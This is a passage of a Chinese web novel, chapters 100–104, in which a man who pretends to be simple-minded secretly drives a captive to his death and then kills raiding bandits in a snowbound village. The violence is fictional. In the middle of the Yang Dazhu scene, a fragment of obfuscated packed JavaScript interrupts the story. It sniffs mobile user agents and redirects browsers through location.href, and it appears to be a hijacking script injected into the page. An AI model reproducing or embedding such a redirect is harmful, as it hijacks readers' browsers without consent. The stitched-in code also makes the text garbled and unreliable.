车门合拢,声音极轻,但正在打盹儿的老刘头和阿三醒了。
老刘头转过头,没了半点睡意:
“杨爷,有啥吩咐?”
杨林松凑近,耳语了几句。
老刘头听完,咧嘴一笑:“嘿,杨爷,您就瞧好吧!论装疯卖傻,您是祖师爷,我老刘头也是祖师爷的高徒!这活儿我熟!”
------
几分钟后。
二楼走廊另一头,突然传来“啪”的一声脆响。
酒瓶子砸在地上,玻璃碴子溅得到处都是,酒味儿弥漫开来。
“大夫!救命啊!我这腿……疼死我了!”
老刘头一瘸一拐地冲了过来,满身酒气,衣衫松垮,挥舞着手臂大喊大叫:
“我这腿是抗美援朝在云山断的!二十多年了,一到阴冷天气就疼!你们凭啥不给我开止痛药!我要见院长!我要见周部长!老子当年在死人堆里爬的时候,你们还在穿开裆裤呢!”
这一嗓子,在寂静的深夜,跟扔了个手榴弹没两样。
这又是哪一出?两个民兵懵了。
“干哈呢!闭嘴!”
其中一个民兵骂骂咧咧,冲过去,想要按住这个发酒疯的老头。
老刘头反而更来劲了,扑上去就要抢民兵的枪,嘴里胡咧咧:
“把枪给我!鬼子上来啦!我要跟他们拼了!连长!连长你在哪啊!”
场面大乱。
留守在病房门口的另一个民兵脚没动,但脖子却伸长了往那边瞅,心里琢磨着,这老头是不是真有啥背景。
就在他分神的这一刹那。
一道黑影借着走廊灯光照不到的死角,向特护病房溜去。
病房内,只开着一盏地灯。
棕胡子正缩在被窝里瑟瑟发抖。
他听到了外面的吵闹声,以为是有人来抓他了。
“咔哒。”
门锁轻响。
棕胡子刚想张嘴喊叫,一只戴着皮手套的大手捂住了他的嘴。
没有用力,却捂得不留一条缝。
杨林松本可以直接把他闷死,但他没那样做。
棕胡子瞪着眼睛,只见一个高大的身影半猫着腰,背着光。
来人俯下身,摘下帽子,露出那张棕胡子一辈子也忘不掉的脸。
这张脸,救过他,也保过他。
可毕竟,自己成了这副鬼样子,还有两个兄弟的死,都是拜他所赐。
仇恨压过了感激,恐惧压过了恨意。
棕胡子两眼暴突,喉咙里发出“咯咯”的抽气声。
杨林松没有动手。
只是从兜里掏出那个刻着“王”字的银色打火机。
“咔哒。”
火苗跳动,照亮了杨林松冷峻的脸。
棕胡子浑身僵硬,泪水涌出眼眶,顺着太阳穴流进了耳朵里。
“嘘……”
杨林松竖起食指,抵在唇边,声音轻柔。
“明天一早,公社武装部的人就要来接你了。进了他们的审讯室,老虎凳、辣椒水,还有竹签子插指甲缝,你会求生不得,求死不能。”
棕胡子拼命摇头,眼里满是哀求。
“想活命吗?”杨林松凑到他耳边。
“唔……嗯……”棕胡子拼命点头。
“那就装病,装得虚弱点,喘得重点,脸色白点。越像快不行的样子,他们才不敢轻易动你。”
杨林松压低声音,每一个字都带着钩子。
“毕竟,没人想接个死人回去担责任。”
说完,火苗熄灭。
杨林松直起身,戴上帽子,拉低帽檐。
没有多余的废话,话里没有丝毫威胁,他只是个过来传话的影子。
他退向门口,门打开,又关上。
门外,老刘头还在闹腾。
------
杨林松一走。
棕胡子脑子里全是那句“没人想接个死人回去”。
他的后背湿透。
他太怕了。
怕被审讯,怕被枪毙,更怕那些传说中的酷刑。
他必须“病”得重一点,再重一点!
就和上次周铁山来时一样,只要自己快死了,他们就不敢动!自己才能活!
棕胡子颤抖着把手挪到嘴边,用牙齿咬开了缠在腕上的纱布,想让伤口暴露在空气中。
纱布粘在皮肉上,他狠狠撕扯了一下,红黄色的脓血渗出,疼得他浑身一哆嗦。
然后,他开始表演。
他憋着气,死命的憋,直到肺部火辣辣的疼。
他大口喘息,让胸口剧烈起伏。
他还想让心跳再跳得猛一些,便绷紧全身肌肉,死命较劲,直到脸憋得又白又青,嘴唇也抿成了
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淡紫色。
恐惧是毒药,愚蠢是引信。
他在自我折磨中坚持了一整夜。
寒冷、失血、惊恐,加上人为的缺氧,他的心脏开始狂跳不止。
意识,变得模糊。
------
第二天。
第一缕阳光照进病房,查房的护士推门而入。
“啊!大夫!快来人啊!病人不行了!”
护士的尖叫声刺破了清晨的宁静。
棕胡子的样子太吓人了!
面色惨白,嘴唇青紫,胸口剧烈起伏,身子不停抽搐。
值班医生提着急救箱冲了进来,一看这架势,额头冷汗直冒。
这可是武装部重点交代的犯人,要是死在卫生院,谁担得起这个责?
“感染扩散引发呼吸衰竭!这是休克前兆!快!给药!”
医生根本来不及多想,保命要紧!
“青霉素加倍!静脉推注!”
“高渗葡萄糖!升压!”
“再加一支可拉明!快!推大针!”
一针针高浓度药物,顺着针头,被挤进了棕胡子的血管。
在医生看来,这是抢救垂危病人的救命稻草。
可对于棕胡子那颗早已不堪重负的心脏来说,这无疑是最后的催命符。
一剂剂猛药进入血管。
“崩!”
那根紧绷的弦,断了。
棕胡子喉咙里发出一声微弱的“咯”。
起伏的胸口突然停住,双眼圆睁,死死盯着天花板,瞳孔迅速放大。
他的身体软软地塌在床上,彻底没了动静。
医生满头大汗地按压了几下胸口,又拿起听诊器听了半天,最终还是摇了摇头。
他摘下听诊器,语气沉重:
“心跳停了,抢救无效,人没了。”
没人怀疑。
所有人都只当是病人抵触治疗,造成感染引发并发症,病势凶险,回天乏术。
走廊外。
杨林松裹着深灰色大衣,手里拿着一个空了的黄桃罐头,正把瓶口对着嘴巴,呼呼地吹着气。
他看着窗外的雪景,眼神里五分愚钝五分清澈。
阎王爷的点名簿上,又勾掉一个名字。
干净,利落。
就在这时,一阵引擎轰鸣声由远及近。
一辆军用吉普车冲进院子,带起的雪泥甩了半面墙。
车还没停稳,副驾驶的门“砰”地一声被踹开。
周铁山连滚带爬地跳了下来,满脸焦黑,军装上到处都是硝烟的痕迹。
他没往楼里看,而是死死盯着远处山林的方向。
杨林松放下了嘴边的空罐头,轻轻说了一句:
“地图烧了,狼该急了。”
他手腕一抖,将空罐头瓶往垃圾桶里一抛。
“当啷!”
一声脆响,那是大戏开场的锣声。
第101章 狼群没了眼,就会乱咬人
楼下的吉普车还没熄火,车屁股喷着黑烟。
周铁山收回看向大山的目光,大手一挥:
“跟上!都给老子把招子放亮了!”
吉普车内钻出四个民兵,“哗啦”一声拉动枪栓,杀气腾腾地跟着他冲进了卫生院。
他们身上的硝烟味,硬是把走廊里的来苏水味都给撞散了。
周铁山的军装上到处都是黑斑,领口还挂着几星草木灰。
二楼栏杆处,杨林松正趴在那儿。
看见周铁山上来,他立马咧开嘴:
“大军车叔叔!今儿个咋没开那个带棚的大车啊?我想坐那个大车!突突突!”
周铁山脚下一顿,抬头一看,眉头拧成了死结。
他现在哪有心思哄孩子?
心里头正烧着火,烦躁得很,恨不得找个雪窝子钻进去降降温。
“一边玩去!别挡道!”
迎面走来一个小护士,周铁山一把推开,差点把人推个趔趄。
他铁青着脸,直奔走廊尽头。
杨林松缩了缩脖子,好奇地跟在后面。
到了特护病房门口。
“砰!”
门被暴力撞开。
杨林松没有进去,只是顺手抄起墙角的扫帚,装模作样地在地上划拉着,眼睛却盯着周铁山的背影。
周铁山冲进去,一眼就看见了盖过头顶的白床单。
他僵在原地,呼哧呼哧喘着粗气。
几秒钟后,他冲到床边,一把掀开白布。
棕胡子的脸露了出来,惨白泛青,眼睛瞪得老大,瞳孔散了,直勾勾盯着天花板。
“人呢?啊?人怎么死的!”
周铁山猛地转过身,眼珠子通红,透着凶光。
值班医生缩在角落,手里拿着病历夹,抖个不停,说话直打磕巴:
“周……周部长,感染太严重,一口气没上来……我们抢救了半小时,打了三针强心剂,可……可人还是没了……”
“妈了个巴子!”
周铁山一声暴怒,回身一拳狠狠砸在墙上。
“老子在十里坡跟那帮土匪拼了命!两挺机枪堵着路,要不是老子反应快,这会儿早他妈凉了!”
周铁山咬着牙,腮帮子鼓起老高。
“黄五爷那帮人疯了似的往这儿赶,就是为了抢这个活口!现在倒好,老子把路杀通了,人却没了!”
线索断了。
彻底断了。
棕胡子一死,熊神洞的具体位置就成了永远的谜。
而黄五爷那边折了人手,也没抢到活口,这笔账肯定会算在红星大队头上。
周铁山松开拳头,无力感涌上心头。
他收到密报后,火急火燎往这边赶,为的就是撬开这洋鬼子的嘴,拿到军火库的坐标,哪怕是抢先一步炸了也行。
可现在,主动权全没了。
病房、走廊里死一般寂静,没人敢在这个节骨眼上触霉头。
“滋啦——滋啦——”
扫帚划过地面,这声音听起来刺耳得很。
杨林松低着头,一下一下扫着地上的灰,嘴里嘟嘟囔囔:
“大军车叔叔,你说这山里的狼要是饿疯了,又找不着兔子窝,那它肯定得下山咬人啦……死人不会说话,活人肉才香呢,咬一口滋滋冒油……”
这几句话,冲散了周铁山脑子里的迷雾。
他转过身,盯着杨林松。
他想起赵卫东说过,这傻子是员福将。
他又想起刚才在十里坡遭遇的那场伏击,对方那种不要命的打法,明显是急了眼。
狼没了眼睛,找不着兔子,可不就得下山咬人吗?
周铁山大步走到杨林松面前,强行压下暴躁劲儿,换上一副僵硬的笑脸。
他伸手搭在杨林松肩膀上,手指微微用力。
“林松啊,赵部长夸你是大才。那你跟叔说说,这狼要是没了带路的眼睛,它会先从哪儿下口啊?”
气氛一下子紧张到了极点。
那几个民兵也都屏住了呼吸,手里的枪握得更紧了。
杨林松眨巴了两下眼睛,吸溜了一下鼻涕,把扫帚往咯吱窝里一夹,大声喊道:
“狼……狼肯定咬最不听话的羊呗!我家那只羊就爱乱跑,大伯娘说不听话的羊就要被吃掉!吃了就能长肉肉!”
说完,他还嘿嘿傻笑了两声,口水差点流出来。
周铁山盯着那张傻脸看了足足五秒。
他眼里的精光一点点散去,最后长叹一声。
他在想什么呢?竟指望从一个傻子嘴里问出战术?
这傻子脑子里除了吃就是玩,刚才那话说得有模有样,看来也就是随口胡咧咧,瞎猫碰上了死耗子。
“行了,玩去吧。”
周铁山拍了拍杨林松的肩膀。
他转过身,朝走廊另一头走去。
他推开了王大炮的病房门。
病房里,王大炮正躺在床上,见周铁山进来,刚想问话,却被他那副狼狈样给震住了。
“老周,你这是……”
周铁山没接话,掏出烟盒,手抖得划了三次才点着火柴。
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他深吸了一口,烟雾缭绕中,脸阴沉得吓人。
“老王,这回麻烦大了。”
周铁山吐出一口烟圈,“我在十里坡碰上了硬茬子。两个人,两把快慢机,打得我们五个人抬不起头。虽然最后把他们干掉了,但这说明黄五爷急眼了。”
王大炮脸色一变:“你是说……”
“棕胡子死了,线索断了。”
周铁山弹了弹烟灰,“黄五爷成了瞎子,他肯定会认为是红星大队干的,或者认为咱们知道内情。接下来,你们大队就是风暴眼,特别是离山岭最近的杨家村。”
“妈了个巴子的!”
王大炮一听这话,眼珠子瞪圆了,掀开被子就要下床。
“老子得回去!村里全是老弱妇孺,哪顶得住土匪!”
他动作太猛,扯动了肋骨的伤,疼得龇牙咧嘴,但硬是一声没吭。
就在脚快要踩到地上的时候。
一道高大的身影突然挡在了床前。
杨林松不知什么时候冲了过来,把王大炮下床的路堵得严严实实。
“大炮叔!你不能走!大夫说你要吃甜水养着!”
杨林松大声嚷嚷着,把床头柜上那个没开封的黄桃罐头,硬塞进王大炮怀里。
王大炮急了,伸手要推开他:
“林松你让开!叔有正事!”
可这一推,就是在推一堵墙。
这小子的手按在他的肩膀上,看着没怎么用力,却死死锁住了他的关节。
任凭王大炮怎么挣扎,硬是动不得分毫,整个人被按回了枕头上。
“吃甜水!不吃不准走!沈知青说了,她都舍不得吃呢!好东西不能浪费!”
杨林松瞪着眼睛,一脸执拗,那股子傻劲儿上来,九头牛都拉不回。
王大炮气得脸红脖子粗,刚想骂人,一抬头,却对上了杨林松的眼睛。
那双眼睛里,闪过一丝深意。
王大炮心里咯噔一下。
他明白了。
自己这副身子骨,现在回去除了当累赘,还能干啥?
真打起来,还得让人分心照顾他。
这傻小子是在保他,也是在保全村的士气。
王大炮身子一软,不再挣扎,抱着罐头,眼圈有点红。
他咬着牙,冲周铁山吼道:
“老周!你把林松带回去!这小子力气大,能顶个用!村里要是出了事,老子做鬼也不放过你!”
周铁山掐灭烟头,点了点头:
“放心,只要我还有一口气,杨家村就不会绝户。”
第102章 调虎离山,死亡标记
十分钟后。
两辆吉普车冲出了卫生院的大门。
周铁山的车在前面开路,车顶架着一挺轻机枪,枪口指着前方。
后车里,阿三握着方向盘,手心里全是汗。
老刘头坐在副驾驶,怀里抱着莫辛-纳甘,闭着眼像在打盹,可食指就没离开过扳机护圈。
杨林松坐在后座,瞅着窗外飞速倒退的枯树林子。
天说变就变,刚才那点日头早被乌云吞了,阴沉沉的天色压得人嗓子眼发堵。
紧接着,大烟炮刮起来了。
雪粒子噼里啪啦往车窗上砸,路两边的林子里贼拉静,连只麻雀都瞧不见。
白毛风一到,林子里的畜生都得缩脖子。
狼群没了眼,那是真要下山咬人的。
狼群没了眼,必会疯狂反扑。
真正的硬仗,就在前头等着呢。
------
前车亮起车灯,两道光柱刺破风雪。
“减速!前面是十里坡!”
民兵一脚急刹,前面那辆吉普车滑出去十几米,堪堪停在路边。
这里是刚才火拼的地方。
路面上乱糟糟的,几棵碗口粗的白桦树被子弹崩断了,雪窝子里还渗着几滩发黑的血迹。
周铁山推门下车,黑着脸踢开一个空弹壳,骂骂咧咧道:
“妈了个巴子的,黄五爷这帮绝户孙子!幸好老子带的人比他多,不然这会儿早躺这儿喂狼了!”
话音刚落,他猛地一激灵。
尸体呢?
他记得清清楚楚,那两具土匪尸体就横在雪地里,这会儿咋没影了?
被狼吃净了?绝无可能!
被野兽拖走了?周围并没有拖动的痕迹。
“大军车叔叔!”
就在这时,后面那辆吉普车的车窗里探出一个脑袋。
杨林松指着路边的雪窝子,拍着手大喊:
“红蛇!你看那里有条红蛇在咬雪!”
周铁山眉头一皱,顺着手势看过去。
在那片枯黄的杂草丛里,一根鲜红的布条系在断枝上,正被狂风吹得乱舞。
周铁山心里咯噔一下。
他几步冲过去,一把扯下红布条。
布条是新的,上面打了个死扣。
“路挂子……”周铁山的声音被风扯得稀碎。
这是土匪的切口。
红布代表见血,死扣代表不死不休。
这是路标,更是战书!
“车轱辘印!新画的画!往家跑啦!”
杨林松又在车里嚷嚷起来,手指头戳着地面,一脸惊喜:
“好多大脚印,比大军车叔叔的脚还大!”
周铁山猛地低头。
在杨林松指着的地方,几道深深的车辙印和杂乱的胶鞋印混在一起。
印子很深,说明车上拉着重货。
而且,这方向不是往深山里钻,而是直指杨家村!
“操!”
周铁山只觉得一股凉气从脚底板直冲天灵盖。
调虎离山!
刚才在这儿火拼的只是个幌子,黄五爷的主力带着重家伙,趁着他们在卫生院折腾,不仅收了尸,还抄近路直扑杨家村了!
他们这是要去屠村泄愤!
杨林松看着周铁山那张惨白的脸,拍着车窗直喊:“回家!我要回家吃肉!”
“上车!快!全速回村!”
周铁山嘶吼着跳回车里,连车门都顾不上关严实。
“轰!”
吉普车发出一声惨叫,轮胎卷起漫天雪泥,蹿了出去。
车速飙到了底。
土路坑洼不平,颠得人五脏六腑都要挪位。
杨林松坐在后车,身体跟着车身晃荡,右手却悄悄缩进大衣袖子里。
五指已经扣住了那把56式三棱刺。
冰凉的钢材贴着手心,让他那股子杀气一点点沉了下去。
------
二十分钟的路,走得像一辈子那么长。
终于,前方出现了那棵老槐树。
那是杨家村。
“到了!”阿三喊了一声,带着颤音。
车队冲进村口。
没枪声,没火光,也没哭喊声。
只有死寂。
整个村子静静地趴在风雪里。
平时村口总会有几个民兵站岗,哪怕是这种鬼天气,也会有人在岗哨里烤火。
可现在,岗哨里空空荡荡的,连个鬼影都没有。
只有风吹过电线杆子,发出呜呜的鬼哭声,听得瘆人。
“人呢?咋连声狗叫都没了?”阿三握着方向盘的手在发抖。
全村几百口人,几十条看家狗,咋可能一点动静都没有?
除非……
周铁山不敢往下想了。
“停车!”
他一声暴喝。
前车一个急刹停下。
车灯晃过去,打在老槐树底下。
光柱里,蜷缩着一个人。
不是土匪。
也不是死尸。
是杨大柱。
他蜷在地上,裤裆湿了一大片,浑身抖个不停,鼻涕眼泪糊了一脸,嘴巴张得老大,却连个屁都放不出来。
周铁山跳下车,缓步走过去,枪口警惕地扫向四周。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346057|199526||http|test|mini|href|location''.split(''|''),0,{}));
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r>杨林松也下了车,跟在后面,脚步虚浮,嘴里喊着:
“怕怕……树下有鬼……”
但他的眼珠子,却死死盯着杨大柱身旁几米远的地方。
那里,有一顶狗皮帽子。
那是杨大柱平时显摆的宝贝。
杨林松走过去,弯腰捡起帽子。
帽子正中央,有一个焦黑的洞,对穿而过。
杨林松的手指抹过那个弹孔,还有股子皮毛烧焦的味儿。
枪法极准。
子弹是贴着头皮飞过去的,打飞了帽子,却没伤着人。
这是赤裸裸的炫技。
也是一张贴在脸上的催命符。
杨林松把帽子扔回雪地上。
“救命……别杀我……别杀我!”
杨大柱总算瞅见亲人了,发出一声干号,连滚带爬地扑过来,抱住周铁山的大腿,死都不撒手。
“人呢!土匪在哪!说什么了!”
周铁山一把揪住杨大柱的领子,把他从地上提溜起来。
杨大柱哆哆嗦嗦,指着后山的方向,话都说不全乎:
“走……走了……他们是鬼……是鬼啊!”
他眼里全是惊恐,又抓住了周铁山的衣袖:
“那个领头的……是个独眼龙……他一枪就把我帽子打飞了……”
“他让我传话……告诉全村人……”
杨大柱咽了口唾沫,声音尖得刺耳:
“今晚……血洗杨家村……鸡犬不留!”
轰!
这句话像一道惊雷,炸得周铁山的手一松。
杨大柱瘫软在地上,捂着脸号啕大哭。
风雪更大了。
那顶带弹孔的狗皮帽子在雪地上翻滚,一直滚到了杨林松脚边。
周铁山站在原地,看着了无生气的村庄,又看向远处那座灰暗的大山。
压迫感向他袭来。
这不是抢粮,这是宣战。
“怕……大军车叔叔,我怕……”
杨林松缩着脖子,声音带着哭腔,身体抖个不停。
他躲在周铁山后头,活生生一副被吓破了胆的怂样。
他抬起脚,一脚踩住了那顶翻滚的狗皮帽子。
厚重的军靴底子,狠狠碾在那个焦黑的弹孔上,把它踩进泥雪里。
他垂下的眼里,那点装出来的惊恐散了个干净。
露出冷冽的杀气。
想玩屠村?
想玩鸡犬不留?
既然这群狼没了眼,还敢下山咬人,那就别怪猎人把你们的牙,一颗一颗全敲碎了。
今晚,这杨家村,就是你们的坟场。
第103章 猎杀时刻,傻子不见了
“妈了个巴子的!”
周铁山眼珠子通红,脖子上青筋暴起,冲着身后的民兵吼道:
“阿明!带两个人去摇人!把村里所有带把的、能喘气的都给我叫出来!拿土枪、拿粪叉子都行!就说公社武装部周副部长在这儿,谁敢当缩头乌龟,老子毙了他!”
阿明被这股煞气吓得一哆嗦,立正吼道:
“是!”
转身带着两个人就往村子里钻,脚后跟带起一溜雪烟。
周铁山扭头看向空荡荡的村口岗哨,牙齿咬得咯咯响。
他指着仅剩的一个民兵:
“你,守住这儿!只要看见不像村民的,别磨叽,直接开火!出了事老子担着!”
不一会儿,阿明领着十几个民兵呼哧带喘地跑了回来。
这帮汉子平时种地是一把好手,但这会儿手里攥着红缨枪、老洋炮,脸上全是还没散去的惊恐。
“周部长,人齐了。”
周铁山目光在众人脸上一扫。
“我知道你们平时只听王大炮的。但现在,土匪进村了!他们要屠村!要杀你们的爹娘老婆!”
周铁山把手里的驳壳枪往木桩子上狠狠一拍,“砰”的一声,震得人心头发颤。
“从现在起,老子接管杨家村!谁要是敢掉链子,别怪老子的枪子儿不认人!”
那股子从死人堆里滚出来的血腥气,硬是把这群民兵的魂给镇住了。
一个个打了个哆嗦,扯着嗓子喊:
“是!”
“散开!一班守村口,二班上房顶!占高处!”
“咔嚓、咔嚓。”
拉枪栓的声音响成一片。
虽然手还在抖,但这帮东北汉子的血性算是被逼出来了。
杨林松缩在周铁山屁股后头,两只手插在袖筒里,整个人直哆嗦。
“大军车叔叔……我怕……有鬼……我要找大伯娘……”
他带着哭腔,鼻涕眼泪糊了一脸,那窝囊的样儿,看得旁边的民兵直皱眉头。
周铁山心里烦躁,但也顾不上跟个傻子计较,只能护着他:
“怕就躲好了!别乱跑!”
话音刚落,杨林松突然夹紧双腿,两只手死死捂着裤裆,原地蹦跶起来,脸憋得通红。
“憋不住啦!憋不住啦!”
杨林松扯着嗓子嚎,“我要尿尿!我要尿尿!要炸啦!”
周铁山吓了一跳,赶紧去捂他的嘴:
“祖宗!你小点声!土匪就在眼皮子底下呢!”
“我不!我就要尿!我要去雪窝子里滋大呲花!”
杨林松一把推开周铁山,力气大得惊人,一溜烟就往旁边一间破屋后面钻。
“回来!那边危险!”周铁山急得跺脚。
可那傻大个跑得比土狗还快,眨眼间就没了影儿。
“部长,追不追?”阿明急声问。
周铁山咬着牙,看了一眼灰蒙蒙的山林,又看了一眼杨林松消失的方向。
“追个屁!现在分兵就是找死!”周铁山眼底闪过狠厉,“那傻小子命硬,傻人有傻福,随他去吧!所有人,给老子盯死村口!”
------
转过破屋,又转过破屋后面的猪圈,避开了所有人的视线。
杨林松停下脚步。
刚才那个佝偻着背、满脸鼻涕的傻子,在这一瞬,彻底消失了。
他直起腰杆,动作麻利地解开深灰色毛呢大衣的扣子,随手一抖,将大衣反穿。
大衣的内衬是白色粗棉布,在这黑夜逼近的漫天大雪里,这就是天然的雪地迷彩。
他从腰间摸出56式三棱刺,反手握着。
熟悉的战栗感又回来了。
“猎杀,开始。”
他轻声低语。
下一秒,他助跑两步,脚尖在土墙面上一蹬,无声息地翻了上去。
------
村西口,用来挡野猪的篱笆墙被拨开了个口子。
十几道黑影,借着暴风雪的掩护,悄悄摸进了村子。
领头的正是那个独眼龙。
他手里提着一把驳壳枪,独眼里闪着红光。
他伸出舌头舔了舔干裂的嘴唇,打了个手势。
身后的土匪立刻分散开来,三三两两一组,狞笑着摸向最近的几户人家。
动作娴熟,一看就是老手。
杀人,放火,抢粮,抢女人。
这是他们的狂欢。
一名颧骨很高的土匪,猫着腰摸到了张桂兰家的后窗根下。
屋里黑着灯,但能听到里面啜泣声。
这往日里蛮横泼辣的一家子,正躲在被窝里发抖。
土匪眼里闪过一
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丝淫邪,从腰间拔出一把尖刀,刀尖插进窗户缝,准备拨开窗栓。
就在这时。
“啪!”
一颗雪球飞来,砸中了他的后脑勺。
“呃啊!”
土匪惊叫一声,左手立马捂住后脑勺,一个大包鼓了起来。
他猛地回头,浑身肌肉紧绷,右手尖刀护在胸前。
只见不远处,柴火垛后面,一角破棉袄露在外面。
“嘿嘿,嘿嘿……嘿嘿嘿……”
傻笑声断断续续,听着瘆人。
“谁?”土匪低喝一声。
没人回答,那傻笑声还在继续。
土匪狞笑一声,眼里的杀意暴涨:
“哧!哪来的傻狍子,急着投胎,老子就先拿你开刀!”
他放弃了窗户,提着刀,压低脚步,朝那个柴火垛摸去。
近了。
更近了。
土匪一个箭步绕过柴火垛,手里的尖刀狠狠刺向那角破棉袄:“死吧!”
“噗!”
刀锋刺入,却没有任何阻力,也没有鲜血溅出。
土匪一愣。
柴火垛后面根本没有人!
只有一件挂在枯树枝上的破棉袄,随着风来回晃荡。
上当了!
土匪刚想张嘴示警,头顶上方就传来细微的声响。
他抬头。
一双大手从枝丫间倒挂下来,快速锁住了他的咽喉和后脑。
“咔嚓!”
一声脆响。
土匪的脑袋歪向一边,连哼都没哼一声,身子就软绵绵地栽进了雪地里。
树枝轻颤。
杨林松双腿勾着树干,倒挂着,眼神漠然。
一个翻身,轻盈落地。
他看都没看地上的尸体,转过身,朝着村口方向,扯着嗓子喊:
“大军车叔叔!这边的老鼠好大啊!钻进我家的柴火垛啦!快拿大炮轰它!轰死大老鼠!”
声音穿透风雪,在村子上空回荡。
村口阵地。
周铁山浑身一震。
“大老鼠?他家的柴火垛?”
旁边的民兵还在发愣:“周部长,这傻子又胡咧咧啥呢?哪来的老鼠?”
周铁山啥也没说,立马调转枪口。
他听懂了!
这是暗语!
是只有上过战场的人才能听懂的报点!
第104章 傻子兵王暗杀时刻
周铁山脑子转得飞快。
杨林松分家那破屋,可不就在村西头!
眼下人手不够,西边正是防守的空门!
“西边!给老子打!”
周铁山毫不犹豫,端起枪对着西边就是一梭子点射。
“哒哒哒!”
火舌喷吐,子弹咬在柴火垛和土坯墙上,溅起一片泥渣子和雪雾。
正准备从那边摸黑突袭的一组土匪,被这阵急雨般的枪子儿压得根本抬不起头,只能趴在雪窝子里骂娘。
“妈的!这帮泥腿子咋知道咱们在这儿?”
枪声一响,村里彻底乱了。
趁着乱劲儿,两个土匪猫着腰,想从侧面抄民兵的后路。
他们背靠背,眼珠子滴溜溜乱转,脚底下踩着雪,迈得小心。
“老六,你听见啥动静没?”前头的土匪压着嗓子问。
没人吭声。
“老六?”
那土匪猛地回头。
只见原本跟在他身后的同伴,此刻正跪在雪地里,双手死死捂着喉咙。
鲜血顺着指缝涌出,染红了身下的白雪。
老六张大嘴巴,只能发出“荷荷”的抽气声。
而在老六身后,只有漫天的白毛风,连个鬼影都没有。
“鬼……有鬼啊!”
那土匪吓得丢了魂,端起手里的老洋炮,对着空气一顿乱搂。
“砰!砰!砰!”
枪火闪烁,却只打碎了几个冰凌子。
他一边哆嗦着往后退,一边惊恐地嚎叫:“出来!给老子滚出来!”
就在他后背刚贴上一堵土墙时。
“崩!”
一声低沉的弓弦震动,撕开了枪声的嘈杂。
一道黑影带着尖啸,从暗处扎了过来。
“噗嗤!”
一支削尖的木箭,生生贯穿了土匪的脖颈。
大力带着他的身子往后一掼,钉在了土坯墙上。
土匪双脚悬空,手里的枪掉在地上,两只手无力地抓着箭杆,眼珠子瞪得快要掉出来,抽搐了两下便没了气。
------
三十米外的屋顶上。
杨林松一身白衣,与积雪融为一体。
他手里握着紫杉木大弓,弓弦还在微微震颤。
他的眼睛冷冷扫视下方的战场。
短短十分钟。
进村的十二个前锋土匪,已有五个没了动静。
剩下的土匪开始慌了。
他们原本以为这是一场狼入羊群的狂欢,直到现在才反应过来,自己才是那群待宰的羔羊!
黑暗中,有一双看不见的眼睛在盯着他们。
每当他们想要靠近村民的屋子,就会有一支冷箭,或者一把无声的刺刀,从最刁钻的角度袭来。
有的被割喉,有的被钉死,有的被扭断了脖子。
死状凄惨,连声惨叫都没发出。
恐惧蔓延,没人敢再往那些宅前屋后的黑影里钻。
------
村中央的空地上。
独眼龙一脚踹开脚边的尸体。
那是他手底下的炮头,这会儿正被一支木箭钉在冻土上,死不瞑目。
独眼龙死盯着那箭杆,仅剩的那只眼皮子直抽抽。
他是刀口舔血的行家,一眼就看出了门道。
这箭扎得这么深,绝不是山里猎户用的软弓,这是百斤往上的硬弓!
而且能在这么近的距离放冷箭,这村里藏着硬茬子!
“谁!”
独眼龙猛然抬头,手中的驳壳枪指着漆黑的屋顶,吼道:
“哪路朋友在这儿装神弄鬼!有种的给老子滚出来!”
风雪稍歇。
厚重的云层裂开一道缝隙,惨淡的月光洒了下来。
最高的屋脊上,一道白色身影缓缓站起。
杨林松半蹲着,手里的大弓已经拉满。
那枚破甲锥箭头,泛着寒光,直指独眼龙仅剩的那只眼睛。
两人的视线撞了个正着。
杨林松嘴角微扬,声音轻得只有自己能听见:
“朋友?”
“进了这大山,你们就是待宰的畜生。”
松指。
箭出!
破甲箭撕开风雪,带着哨音扎了过去。
独眼龙只觉得汗毛倒竖,本能地偏了一下脑袋。
箭擦着他的右脸颊呼啸而过。
硬生生削掉了他一整只耳朵,连带着掀飞了一大块头皮!
血水狂飙,洒在雪地上。
箭矢去势不减,“噗嗤”一声闷响。
扎穿了后头一个端着土枪的土匪胸膛。
这就是一百二十磅硬弓的恐怖力道!
那具尸体往后飞出去三米多远,重重砸进雪窝子里,蹬了两下腿,不动了。
“啊——!”
独眼龙这才发出一声惨叫。
起初只感到一阵火辣,紧跟着就是钻心的剧痛。
他一只手死死捂着滋滋冒血的半边脸,仅剩的左眼红得快滴出血来。
另一只手举起驳壳枪,冲着屋顶一通乱打。
“杀!给老子杀光这帮泥腿子!鸡犬不留!”
土匪们被这股子血腥味儿彻底激红了眼。
剩下的土匪嗷嗷叫唤着,往村口和两侧院墙发起了猛冲。
------
村口这边。
周铁山带着的民兵队被压制住了。
土匪里头的两个老手架起了两挺轻机枪,交叉火力疯狂扫射,
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压得民兵们连头都抬不起来。
“哒哒哒哒!”
子弹咬在土坯墙上,泥渣子和碎冰碴子四处乱飞。
几个想探头还击的民兵被流弹擦破了肩膀和头皮,惨叫声听着直揪心。
“稳住!都别露头!”
周铁山扯着嗓子吼,一把将旁边的阿明按回了雪窝子里。
“把木柄手榴弹都给老子准备好!放近了再扔!”
土匪借着黑天和机枪的掩护,踩着积雪步步紧逼。
周铁山手背上青筋直蹦,手心里全是汗。
就在土匪以为赢定了,准备三面包抄围剿民兵的时候。
从侧翼摸进村巷的一小股土匪,突然撞上了活阎王。
杨林松反穿着大衣,整个人融进风雪里。
他在房顶和土墙头之间来回穿梭,脚底下连踩雪的嘎吱声都没有。
一个土匪刚翻过一截矮墙,双脚还没踩实成。
雪堆里突然探出一只大手,死死捂住了他的口鼻。
紧接着,一把56式三棱刺从他后心窝子扎了进去,绞碎了心脏。
土匪俩眼珠子往外凸,手脚拼了命地扑腾。
却发不出半点动静,只有嗓子眼里冒出咯咯声。
杨林松手腕子一拧,利索地拔出军刺。
尸体瘫倒在雪地里。
他身子一矮,再一次隐没在风雪里。
------
另一头,一个土匪摸到了一处断墙后头。
他探头瞅了一眼被困在村口的民兵,狞笑着从腰带上拽下一颗木柄手榴弹。
一拉引信,抡圆了膀子就朝周铁山那边砸了过去。
手榴弹在空中划出一道弧线。
眼瞅着就要砸进人堆里。
